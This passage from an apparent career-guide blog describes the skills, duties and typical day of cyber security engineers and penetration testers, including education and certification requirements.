Understanding of cyber security methodologies
The ability to evaluate system changes for security implications and the knowledge to make recommendations for improvements
Knowledge of current cyber security trends, as well as the continued research of emerging trends and hacking techniques
Proficiency in Java, Python Net, C++, bash, and power shell
Networking experience with the TCP/IP stack (may not be a requirement, but is often preferred)
Solid understanding of the OSI model and renowned ports and services (may not be a requirement, but is often preferred)
The ability to work well with others, including collaboration and communication with other departments
The ability to thrive in a fast-paced environment and to work under pressure
Strong attention to detail and problem-solving skills

There may be other requirements, depending upon the specific organization and the complexity of its networks and systems.

What are some Cyber Security Engineer roles and responsibilities?

Cyber security engineers’ primary responsibility is to protect the computer systems and networks of an organization from threats and attacks. To achieve that goal, there are many tasks and duties that cyber security engineers must perform.

The following are the most common functions for which cyber security engineers are responsible:

Development of a set of security practices and standards
Creating new, more efficient, ways to resolve current security issues
Making recommendations to management regarding security enhancements and improvements
Performing penetration testing
Monitoring systems and networks for intrusions or security breaches
Conducting network scans to identify weaknesses or vulnerabilities
Installation of software, including data encryption programs and firewalls
Installation or processing of security products and procedures
Installation of appropriate software to improve notifications of intrusions
Development of automation scripts to manage and track incidents
Monitoring systems to identify irregular behavior
Leading incident response efforts
Leading investigations into breaches that occur
Supervising and providing feedback for changes in hardware, software, and user needs
Reporting findings and feedback to management
Planning and implementing information security strategies for an organization
Training or educating network users on information security
Recommending improvements in technical, legal, and regulatory areas as they pertain to information security

A Day in the Life of a Penetration Tester

noreply@blogger.com (Unknown) — Thu, 15 Sep 2016 13:53:00 +0000

A typical day for one penetration tester may look a lot different from another’s depending on the organization they work for. For some, there may be travel required between different sites, they may be required to work evenings or weekends to not disrupt the work flow of the company, or they may be able to perform some duties remotely or by telecommuting. But, the heart of the penetration tester position is identifying security system vulnerabilities by attempting to exploit them and then coming up with solutions to resolve the weaknesses to keep their organization’s information safe.

A normal day for a penetration tester may include the following tasks:

Plan a specific penetration test
Create or select the appropriate testing tools
Perform the penetration test on networks, applications, or systems
Document methodologies
Identify vulnerabilities using the data gathered
Review and evaluate findings
Establish possible solutions for the weaknesses
Provide feedback and recommendations to management or clients

What is a typical Penetration Tester job description?

As a penetration tester you will be responsible for ensuring that computer information systems are protected from hackers. That means that your role will include running tests on applications, networks, and software. You will attempt to hack in, allowing you to access data that should not be accessible to unauthorized individuals. You will be responsible for identifying any potential weaknesses in existing systems and collaborating with other departments and professionals to determine the most effective and efficient way to resolve them. This may require adding new or additional security measures and rewriting program code.

Additional duties for a penetration tester includes reviewing any security system incidents, documenting threats, and completing reports concerning your findings. You may also be asked to design improved security protocols and policies.

Ultimately, you will utilize your knowledge to find vulnerabilities in networks, internal systems, and applications. This may include automated testing but may also require manually attempting to breach security. It may also include creating new tests to identify system weaknesses and pinpointing entry points for hackers. When vulnerabilities are identified, you will be responsible for advising managers or executives how to make systems more secure.

What are the Penetration Tester requirements?

While it may be possible to find a job as a penetration tester based solely on having the right set of skills, most employers prefer to hire penetration testers who have previous relevant work experience. Some employers want employees who have at least a bachelor’s degree. Employment statistics indicate that employers prefer to fill entry-level positions in the field of information security analysis with applicants who have a bachelor’s degree in computer science, information security, or another comparable field of study. Some employers may want penetration testers to have programming skills in specific programming languages and operating systems. Additionally, employers may require that penetration testers have certification in ethical hacking and other IT security areas.

In addition to education, penetration testers are required to have certain skills. They must have excellent computer skills to be able to attempt hacking systems. They require solid analytical skills to evaluate and analyze the processes involved in resolving existing and potential security threats. It’s also important for penetration testers to have proficient communication skills as they will be writing reports and working closely with other IT professionals and departments. Most importantly, penetration testers must have exceptional problem-solving skills to be able to determine the best course of action when resolving issues and protecting networks from potential threats or breaches.

What are some Penetration Tester roles and responsibilities?

Penetration testers seek to identify security vulnerabilities in an organization’s networks, and then resolve them, sometimes creating new or improved security protocols. This involves many responsibilities and tasks.

As a penetration tester, you will likely be required to:

Perform penetration tests on computer systems, networks, and applications
Create new testing methods to identify vulnerabilities
Perform physical security assessments of systems, servers, and other network devices to identify areas that require physical protection
Pinpoint methods and entry points that attackers may use to exploit vulnerabilities or weaknesses
Search for weaknesses in common software, web applications, and proprietary systems
Research, evaluate, document, and discuss findings with IT teams and management
Review and provide feedback for information security fixes
Establish improvements for existing security services, including hardware, software, policies, and procedures
Identify areas where improvement is needed in security education and awareness for users
Be sensitive to corporate considerations when performing testing (minimize downtime and loss of employee productivity)
Stay updated on the latest malware and security threats

While the above are typical responsibilities for a penetration tester, you may have additional duties depending on the organization you work for. Sometimes there is overlap in IT positions, so it is important to be flexible and to work as part of a cohesive team.